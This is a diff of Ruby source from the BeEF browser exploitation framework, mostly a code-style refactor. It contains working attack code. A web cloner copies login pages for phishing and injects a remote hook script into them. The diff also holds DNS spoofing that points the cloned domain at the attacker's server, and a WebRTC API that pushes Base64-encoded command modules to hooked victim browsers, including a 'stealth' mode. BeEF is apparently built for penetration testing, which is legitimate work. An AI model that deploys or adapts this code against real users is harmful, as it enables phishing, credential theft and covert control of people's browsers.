elsif (line.include?("</head>") || line.include?("</HEAD>")) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') elsif (line.include?('</head>') || line.include?('</HEAD>')) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')
out_file.print add_beef_hook(line) out_file.print add_beef_hook(line)
print_info "BeEF hook added :-D" print_info 'BeEF hook added :-D'
else else
out_file.print line out_file.print line
end end
@@ -95,104 +93,103 @@ module BeEF
end end
end end
if File.size("#{@cloned_pages_dir + output}") > 0 if File.size((@cloned_pages_dir + output).to_s).zero?
print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]"
file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve
# if the user wants to clone http://a.com/login.jsp?cas=true&ciccio=false , split the URL mounting only the path.
# then the phishing link can be used anyway with all the proper parameters to looks legit.
if mount.include?("?")
mount = mount.split("?").first
print_info "Normalizing mount point. You can still use params for the phishing link."
end
# Check if the original URL can be framed
frameable = is_frameable(url)
interceptor = BeEF::Extension::SocialEngineering::Interceptor
interceptor.set :redirect_to, url
interceptor.set :frameable, frameable
interceptor.set :beef_hook, @beef_hook
interceptor.set :cloned_page, get_page_content(file_path)
interceptor.set :db_entry, persist_page(url, mount)
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
if dns_spoof
dns = BeEF::Extension::Dns::Server.instance
ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address
ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address
ipv6.gsub!(/%\w*$/, '')
domain = url.gsub(%r{^http://}, '')
dns.add_rule(
:pattern => domain,
:resource => Resolv::DNS::Resource::IN::A,
:response => ipv4
) unless ipv4.nil?
dns.add_rule(
:pattern => domain,
:resource => Resolv::DNS::Resource::IN::AAAA,
:response => ipv6
) unless ipv6.nil?
print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]"
end
print_info "Mounting cloned page on URL [#{mount}]"
@http_server.mount("#{mount}", interceptor.new)
@http_server.remap
success = true
else
print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'." print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."
success = false return false
end end
success print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]"
file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve
# Split the URL mounting only the path and ignoring the query string.
# If the user wants to clone http://example.local/login.jsp?example=123&test=456
# then the phishing link can be used anyway with all the proper parameters to look legit.
mount = mount.split('?').first if mount.include?('?')
mount = mount.split(';').first if mount.include?(';')
interceptor = BeEF::Extension::SocialEngineering::Interceptor
interceptor.set :redirect_to, url
interceptor.set :frameable, url_is_frameable?(url)
interceptor.set :beef_hook, @beef_hook
interceptor.set :cloned_page, get_page_content(file_path)
interceptor.set :db_entry, persist_page(url, mount)
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
if dns_spoof
dns = BeEF::Extension::Dns::Server.instance
ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address
ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address
ipv6.gsub!(/%\w*$/, '')
domain = url.gsub(%r{^http://}, '')
unless ipv4.nil?
dns.add_rule(
pattern: domain,
resource: Resolv::DNS::Resource::IN::A,
response: ipv4
)
end
unless ipv6.nil?
dns.add_rule(
pattern: domain,
resource: Resolv::DNS::Resource::IN::AAAA,
response: ipv6
)
end
print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]"
end
print_info "Mounting cloned page on URL [#{mount}]"
@http_server.mount(mount.to_s, interceptor.new)
@http_server.remap
true
end end
private private
# Replace </head> with <BeEF_hook></head> # Replace </head> with <BeEF_hook></head>
def add_beef_hook(line) def add_beef_hook(line)
if line.include?("</head>") # @todo why is this an inline replace? and why is the second branch empty?
line.gsub!("</head>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>") if line.include?('</head>')
elsif line.gsub!("</HEAD>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>") line.gsub!('</head>', "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
elsif line.gsub!('</HEAD>', "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
end end
line line
end end
private # Check if the URL X-Frame-Options header allows the page to be framed.
# check if the original URL can be framed. NOTE: doesn't check for framebusting code atm # @todo check for framebusting JS code
def is_frameable(url) # @todo check CSP
result = true def url_is_frameable?(url)
begin uri = URI(url)
uri = URI(url) http = Net::HTTP.new(uri.host, uri.port)
http = Net::HTTP.new(uri.host, uri.port)
if uri.scheme == "https"
http.use_ssl = true
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
end
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
frame_opt = response["X-Frame-Options"]
if frame_opt != nil if uri.scheme == 'https'
if frame_opt.casecmp("DENY") == 0 || frame_opt.casecmp("SAMEORIGIN") == 0 http.use_ssl = true
result = false http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
end
end
print_info "Page can be framed: [#{result}]"
rescue => e
result = false
print_error "Unable to determine if page can be framed. Page can be framed: [#{result}]"
print_debug e
#print_debug e.backtrace
end end
result
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
frame_opt = response['X-Frame-Options']
# @todo why is this using casecmp?
if !frame_opt.nil? && (frame_opt.casecmp('DENY') == 0 || frame_opt.casecmp('SAMEORIGIN') == 0)
print_info "URL can be framed: #{url}"
return true
end
print_info "URL cannot be framed: #{url}"
false
rescue StandardError => e
print_error "Unable to determine if URL can be framed: #{url}"
print_debug e
# print_debug e.backtrace
false
end end
def get_page_content(file_path) def get_page_content(file_path)
@@ -204,15 +201,13 @@ module BeEF
def persist_page(uri, mount) def persist_page(uri, mount)
webcloner_db = BeEF::Core::Models::WebCloner.new( webcloner_db = BeEF::Core::Models::WebCloner.new(
:uri => uri, uri: uri,
:mount => mount mount: mount
) )
webcloner_db.save webcloner_db.save
webcloner_db webcloner_db
end end
end end
end end
end end
end end

View File

@@ -6,13 +6,11 @@
module BeEF module BeEF
module Extension module Extension
module WebRTC module WebRTC
require 'base64' require 'base64'
# This class handles the routing of RESTful API requests that manage the # This class handles the routing of RESTful API requests that manage the
# WebRTC Extension # WebRTC Extension
class WebRTCRest < BeEF::Core::Router::Router class WebRTCRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing # Filters out bad requests before performing any routing
before do before do
config = BeEF::Core::Configuration.instance config = BeEF::Core::Configuration.instance
@@ -41,119 +39,116 @@ module BeEF
# longer required as client-debugging uses the beef.debug) # longer required as client-debugging uses the beef.debug)
# #
# +++ Example: +++ # +++ Example: +++
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 # POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000 # Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8 # Content-Type: application/json; charset=UTF-8
# #
#{"from":1, "to":2} # {"from":1, "to":2}
#===response (snip)=== #===response (snip)===
#HTTP/1.1 200 OK # HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8 # Content-Type: application/json; charset=UTF-8
# #
#{"success":"true"} # {"success":"true"}
# #
# +++ Example with verbosity on the client-side +++ # +++ Example with verbosity on the client-side +++
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 # POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000 # Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8 # Content-Type: application/json; charset=UTF-8
# #
#{"from":1, "to":2, "verbose": true} # {"from":1, "to":2, "verbose": true}
#===response (snip)=== #===response (snip)===
#HTTP/1.1 200 OK # HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8 # Content-Type: application/json; charset=UTF-8
# #
#{"success":"true"} # {"success":"true"}
# #
# +++ Example with curl +++ # +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v # curl -H "Content-type: application/json; charset=UTF-8" -v
# -X POST -d '{"from":1,"to":2,"verbose":true}' # -X POST -d '{"from":1,"to":2,"verbose":true}'
# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348 # http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348
post '/go' do post '/go' do
begin body = JSON.parse(request.body.read)
body = JSON.parse(request.body.read)
fromhb = body['from'] fromhb = body['from']
raise InvalidParamError, 'from' if fromhb.nil? raise InvalidParamError, 'from' if fromhb.nil?
tohb = body['to']
raise InvalidParamError, 'to' if tohb.nil?
verbose = body['verbose']
result = {} tohb = body['to']
raise InvalidParamError, 'to' if tohb.nil?
unless [fromhb,tohb].include?(nil) verbose = body['verbose']
if verbose == nil
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
result['success'] = true
else
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i,true)
result['success'] = true
else
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
result['success'] = true
end
end
r = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => fromhb.to_i,
:target_hooked_browser_id => tohb.to_i,
:status => "Initiating..",
:created_at => Time.now,
:updated_at => Time.now)
r.save
r2 = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => tohb.to_i,
:target_hooked_browser_id => fromhb.to_i,
:status => "Initiating..",
:created_at => Time.now,
:updated_at => Time.now)
r2.save
else
result['success'] = false
end
result.to_json result = {}
rescue InvalidParamError => e if [fromhb, tohb].include?(nil)
print_error e.message result['success'] = false
halt 400 return result.to_json
rescue StandardError => e
print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})"
halt 500
end end
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i, true)
else
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
end
r = BeEF::Core::Models::Rtcstatus.new(
hooked_browser_id: fromhb.to_i,
target_hooked_browser_id: tohb.to_i,
status: 'Initiating..',
created_at: Time.now,
updated_at: Time.now
)
r.save
r2 = BeEF::Core::Models::Rtcstatus.new(
hooked_browser_id: tohb.to_i,
target_hooked_browser_id: fromhb.to_i,
status: 'Initiating..',
created_at: Time.now,
updated_at: Time.now
)
r2.save
result['success'] = true
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})"
halt 500
end end
# #
# @note Get the RTCstatus of a particular browser (and its peers) # @note Get the RTCstatus of a particular browser (and its peers)
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
# for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true # for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true
# #
# +++ Example: +++ # +++ Example: +++
#GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 # GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000 # Host: 127.0.0.1:3000
# #
#===response (snip)=== #===response (snip)===
#HTTP/1.1 200 OK # HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8 # Content-Type: application/json; charset=UTF-8
# #
#{"success":"true"} # {"success":"true"}
# #
# +++ Example with curl +++ # +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v # curl -H "Content-type: application/json; charset=UTF-8" -v
# -X GET http://127.0.0.1:3000/api/webrtc/status/1\?token\=df67654b03d030d97018f85f0284247d7f49c348 # -X GET http://127.0.0.1:3000/api/webrtc/status/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
get '/status/:id' do get '/status/:id' do
begin id = params[:id]
id = params[:id]
BeEF::Core::Models::Rtcmanage.status(id.to_i) BeEF::Core::Models::Rtcmanage.status(id.to_i)
result = {} result = {}
result['success'] = true result['success'] = true
result.to_json result.to_json
rescue InvalidParamError => e
rescue InvalidParamError => e print_error e.message
print_error e.message halt 400
halt 400 rescue StandardError => e
rescue StandardError => e print_error "Internal error while queuing status message for #{id} (#{e.message})"
print_error "Internal error while queuing status message for #{id} (#{e.message})" halt 500
halt 500
end
end end
# #
@@ -161,49 +156,48 @@ module BeEF
# Return JSON with events_count and an array of events # Return JSON with events_count and an array of events
# #
# +++ Example: +++ # +++ Example: +++
#GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 # GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000 # Host: 127.0.0.1:3000
# #
#===response (snip)=== #===response (snip)===
#HTTP/1.1 200 OK # HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8 # Content-Type: application/json; charset=UTF-8
# #
#{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]} # {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]}
# #
# +++ Example with curl +++ # +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v # curl -H "Content-type: application/json; charset=UTF-8" -v
# -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348 # -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
get '/events/:id' do get '/events/:id' do
begin id = params[:id]
id = params[:id]
events = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => id) events = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: id)
events_json = [] events_json = []
count = events.length count = events.length
events.each do |event| events.each do |event|
events_json << { events_json << {
'id' => event.id.to_i, 'id' => event.id.to_i,
'hb_id' => event.hooked_browser_id.to_i, 'hb_id' => event.hooked_browser_id.to_i,
'target_id' => event.target_hooked_browser_id.to_i, 'target_id' => event.target_hooked_browser_id.to_i,
'status' => event.status.to_s, 'status' => event.status.to_s,
'created_at' => event.created_at.to_s, 'created_at' => event.created_at.to_s,
'updated_at' => event.updated_at.to_s 'updated_at' => event.updated_at.to_s
} }
end end
unless events_json.empty?
{ {
'events_count' => count, 'events_count' => count,
'events' => events_json 'events' => events_json
}.to_json if not events_json.empty? }.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
end end
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
end end
# #
@@ -211,70 +205,69 @@ module BeEF
# Return JSON with events_count and an array of events associated with command module execute # Return JSON with events_count and an array of events associated with command module execute
# #
# +++ Example: +++ # +++ Example: +++
#GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 # GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000 # Host: 127.0.0.1:3000
# #
#===response (snip)=== #===response (snip)===
#HTTP/1.1 200 OK # HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8 # Content-Type: application/json; charset=UTF-8
# #
#{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]} # {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]}
# #
# +++ Example with curl +++ # +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v # curl -H "Content-type: application/json; charset=UTF-8" -v
# -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348 # -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
get '/cmdevents/:id' do get '/cmdevents/:id' do
begin id = params[:id]
id = params[:id]
events = BeEF::Core::Models::Rtcmodulestatus.where(:hooked_browser_id => id) events = BeEF::Core::Models::Rtcmodulestatus.where(hooked_browser_id: id)
events_json = [] events_json = []
count = events.length count = events.length
events.each do |event| events.each do |event|
events_json << { events_json << {
'id' => event.id.to_i, 'id' => event.id.to_i,
'hb_id' => event.hooked_browser_id.to_i, 'hb_id' => event.hooked_browser_id.to_i,
'target_id' => event.target_hooked_browser_id.to_i, 'target_id' => event.target_hooked_browser_id.to_i,
'status' => event.status.to_s, 'status' => event.status.to_s,
'created_at' => event.created_at.to_s, 'created_at' => event.created_at.to_s,
'updated_at' => event.updated_at.to_s, 'updated_at' => event.updated_at.to_s,
'mod' => event.command_module_id 'mod' => event.command_module_id
} }
end end
unless events_json.empty?
{ {
'events_count' => count, 'events_count' => count,
'events' => events_json 'events' => events_json
}.to_json if not events_json.empty? }.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
end end
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
end end
# #
# @note Instruct a browser to send an RTC DataChannel message to one of its peers # @note Instruct a browser to send an RTC DataChannel message to one of its peers
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
# for success messages, IF ANY. # for success messages, IF ANY.
# #
# Input must be specified in JSON format # Input must be specified in JSON format
# #
# +++ Example: +++ # +++ Example: +++
#POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 # POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000 # Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8 # Content-Type: application/json; charset=UTF-8
# #
#{"from":1, "to":2, "message":"Just a plain message"} # {"from":1, "to":2, "message":"Just a plain message"}
#===response (snip)=== #===response (snip)===
#HTTP/1.1 200 OK # HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8 # Content-Type: application/json; charset=UTF-8
# #
#{"success":"true"} # {"success":"true"}
# #
# +++ Example with curl +++ # +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v # curl -H "Content-type: application/json; charset=UTF-8" -v
@@ -289,74 +282,71 @@ module BeEF
# If the <to> is stealthed, it'll bounce the message back. # If the <to> is stealthed, it'll bounce the message back.
# If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler # If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler
post '/msg' do post '/msg' do
begin body = JSON.parse(request.body.read)
body = JSON.parse(request.body.read) fromhb = body['from']
raise InvalidParamError, 'from' if fromhb.nil?
fromhb = body['from'] tohb = body['to']
raise InvalidParamError, 'from' if fromhb.nil? raise InvalidParamError, 'to' if tohb.nil?
tohb = body['to']
raise InvalidParamError, 'to' if tohb.nil?
message = body['message']
raise InvalidParamError, 'message' if message.nil?
if message === "!gostealth" message = body['message']
stat = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => fromhb.to_i, :target_hooked_browser_id => tohb.to_i).first || nil raise InvalidParamError, 'message' if message.nil?
unless stat.nil?
stat.status = "Selected browser has commanded peer to enter stealth" if message === '!gostealth'
stat.updated_at = Time.now stat = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: fromhb.to_i, target_hooked_browser_id: tohb.to_i).first || nil
stat.save unless stat.nil?
end stat.status = 'Selected browser has commanded peer to enter stealth'
stat2 = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => tohb.to_i, :target_hooked_browser_id => fromhb.to_i).first || nil stat.updated_at = Time.now
unless stat2.nil? stat.save
stat2.status = "Peer has commanded selected browser to enter stealth"
stat2.updated_at = Time.now
stat2.save
end
end end
stat2 = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: tohb.to_i, target_hooked_browser_id: fromhb.to_i).first || nil
result = {} unless stat2.nil?
stat2.status = 'Peer has commanded selected browser to enter stealth'
unless [fromhb,tohb,message].include?(nil) stat2.updated_at = Time.now
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message) stat2.save
result['success'] = true
else
result['success'] = false
end end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing message (#{e.message})"
halt 500
end end
result = {}
if [fromhb, tohb, message].include?(nil)
result['success'] = false
else
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message)
result['success'] = true
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing message (#{e.message})"
halt 500
end end
# #
# @note Instruct a browser to send an RTC DataChannel message to one of its peers # @note Instruct a browser to send an RTC DataChannel message to one of its peers
# In this instance, the message is a Base64d encoded JS command # In this instance, the message is a Base64d encoded JS command
# which has the beef.net.send statements re-written # which has the beef.net.send statements re-written
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
# for success messages, IF ANY. # for success messages, IF ANY.
# Commands are written back to the rtcmodulestatus model # Commands are written back to the rtcmodulestatus model
# #
# Input must be specified in JSON format # Input must be specified in JSON format
# #
# +++ Example: +++ # +++ Example: +++
#POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 # POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000 # Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8 # Content-Type: application/json; charset=UTF-8
# #
#{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]} # {"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}
#===response (snip)=== #===response (snip)===
#HTTP/1.1 200 OK # HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8 # Content-Type: application/json; charset=UTF-8
# #
#{"success":"true"} # {"success":"true"}
# #
# +++ Example with curl +++ # +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v # curl -H "Content-type: application/json; charset=UTF-8" -v
@@ -364,137 +354,124 @@ module BeEF
# http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348 # http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348
# #
post '/cmdexec' do post '/cmdexec' do
begin body = JSON.parse(request.body.read)
body = JSON.parse(request.body.read) fromhb = body['from']
fromhb = body['from'] raise InvalidParamError, 'from' if fromhb.nil?
raise InvalidParamError, 'from' if fromhb.nil?
tohb = body['to']
raise InvalidParamError, 'to' if tohb.nil?
cmdid = body['cmdid']
raise InvalidParamError, 'cmdid' if cmdid.nil?
cmdoptions = body['options'] if body['options'] tohb = body['to']
cmdoptions = nil if cmdoptions.eql?("") raise InvalidParamError, 'to' if tohb.nil?
cmdid = body['cmdid']
raise InvalidParamError, 'cmdid' if cmdid.nil?
cmdoptions = body['options'] if body['options']
cmdoptions = nil if cmdoptions.eql?('')
if [fromhb, tohb, cmdid].include?(nil)
result = {} result = {}
result['success'] = false
unless [fromhb,tohb,cmdid].include?(nil) return result.to_json
# Find the module, modify it, send it to be executed on the tohb
# Validate the command module by ID
command_module = BeEF::Core::Models::CommandModule.find(cmdid)
error 404 if command_module.nil?
error 404 if command_module.path.nil?
# Get the key of the module based on the ID
key = BeEF::Module.get_key_by_database_id(cmdid)
error 404 if key.nil?
# Try to load the module
BeEF::Module.hard_load(key)
# Now the module is hard loaded, find it's object and get it
command_module = BeEF::Core::Command.const_get(
BeEF::Core::Configuration.instance.get(
"beef.module.#{key}.class"
)
).new(key)
# Check for command options
if not cmdoptions.nil?
cmddata = cmdoptions
else
cmddata = []
end
# Get path of source JS
f = command_module.path+'command.js'
error 404 if not File.exists? f
# Read file
@eruby = Erubis::FastEruby.new(File.read(f))
# Parse in the supplied parameters
cc = BeEF::Core::CommandContext.new
cc['command_url'] = command_module.default_command_url
cc['command_id'] = command_module.command_id
cmddata.each{|v|
cc[v['name']] = v['value']
}
# Evalute supplied options
@output = @eruby.evaluate(cc)
# Gsub the output, replacing all beef.net.send commands
# This needs to occur because we want this JS to send messages
# back to the peer browser
@output = @output.gsub(/beef\.net\.send\((.*)\);?/) {|s|
tmpout = "// beef.net.send removed\n"
tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd ("
cmdurl = $1.split(',')
tmpout += cmdurl[0].gsub(/\s|"|'/, '')
tmpout += ") Result: ' + "
tmpout += cmdurl[2]
tmpout += ");"
tmpout
}
# Prepend the B64 version of the string with @
# The client JS receives the rtc message, detects the @
# and knows to decode it before execution
msg = "@" + Base64.strict_encode64(@output)
# Finally queue the message in the RTC queue for submission
# from the from browser to the to browser
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i,
msg)
result = {}
result['success'] = true
result.to_json
else
result = {}
result['success'] = false
result.to_json
end
rescue JSON::ParserError => e
print_error "Invalid JSON: #{e.message}"
halt 400
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while executing command (#{e.message})"
halt 500
end end
end
# Find the module, modify it, send it to be executed on the tohb
# Validate the command module by ID
command_module = BeEF::Core::Models::CommandModule.find(cmdid)
error 404 if command_module.nil?
error 404 if command_module.path.nil?
# Get the key of the module based on the ID
key = BeEF::Module.get_key_by_database_id(cmdid)
error 404 if key.nil?
# Try to load the module
BeEF::Module.hard_load(key)
# Now the module is hard loaded, find it's object and get it
command_module = BeEF::Core::Command.const_get(
BeEF::Core::Configuration.instance.get(
"beef.module.#{key}.class"
)
).new(key)
# Check for command options
cmddata = cmdoptions.nil? ? [] : cmdoptions
# Get path of source JS
f = "#{command_module.path}command.js"
error 404 unless File.exist? f
# Read file
@eruby = Erubis::FastEruby.new(File.read(f))
# Parse in the supplied parameters
cc = BeEF::Core::CommandContext.new
cc['command_url'] = command_module.default_command_url
cc['command_id'] = command_module.command_id
cmddata.each do |v|
cc[v['name']] = v['value']
end
# Evalute supplied options
@output = @eruby.evaluate(cc)
# Gsub the output, replacing all beef.net.send commands
# This needs to occur because we want this JS to send messages
# back to the peer browser
@output = @output.gsub(/beef\.net\.send\((.*)\);?/) do |_s|
tmpout = "// beef.net.send removed\n"
tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd ("
cmdurl = Regexp.last_match(1).split(',')
tmpout += cmdurl[0].gsub(/\s|"|'/, '')
tmpout += ") Result: ' + "
tmpout += cmdurl[2]
tmpout += ');'
tmpout
end
# Prepend the B64 version of the string with @
# The client JS receives the rtc message, detects the @
# and knows to decode it before execution
msg = "@#{Base64.strict_encode64(@output)}"
# Finally queue the message in the RTC queue for submission
# from the from browser to the to browser
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, msg)
result = {}
result['success'] = true
result.to_json
rescue JSON::ParserError => e
print_error "Invalid JSON: #{e.message}"
halt 400
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while executing command (#{e.message})"
halt 500
end
# Raised when invalid JSON input is passed to an /api/webrtc handler. # Raised when invalid JSON input is passed to an /api/webrtc handler.
class InvalidJsonError < StandardError class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'.to_json
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'
def initialize(message = nil) def initialize(message = nil)
super(message || DEFAULT_MESSAGE) super(message || DEFAULT_MESSAGE)
end end
end end
# Raised when an invalid named parameter is passed to an /api/webrtc handler. # Raised when an invalid named parameter is passed to an /api/webrtc handler.
class InvalidParamError < StandardError class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'.to_json
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'
def initialize(message = nil) def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/webrtc handler" str = 'Invalid "%s" parameter passed to /api/webrtc handler'
message = sprintf str, message unless message.nil? message = format str, message unless message.nil?
super(message) super(message)
end end
end end
end end
end end
end end
end end

View File

@@ -4,36 +4,36 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Xssrays module Xssrays
module RegisterHttpHandler module RegisterHttpHandler
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
# #
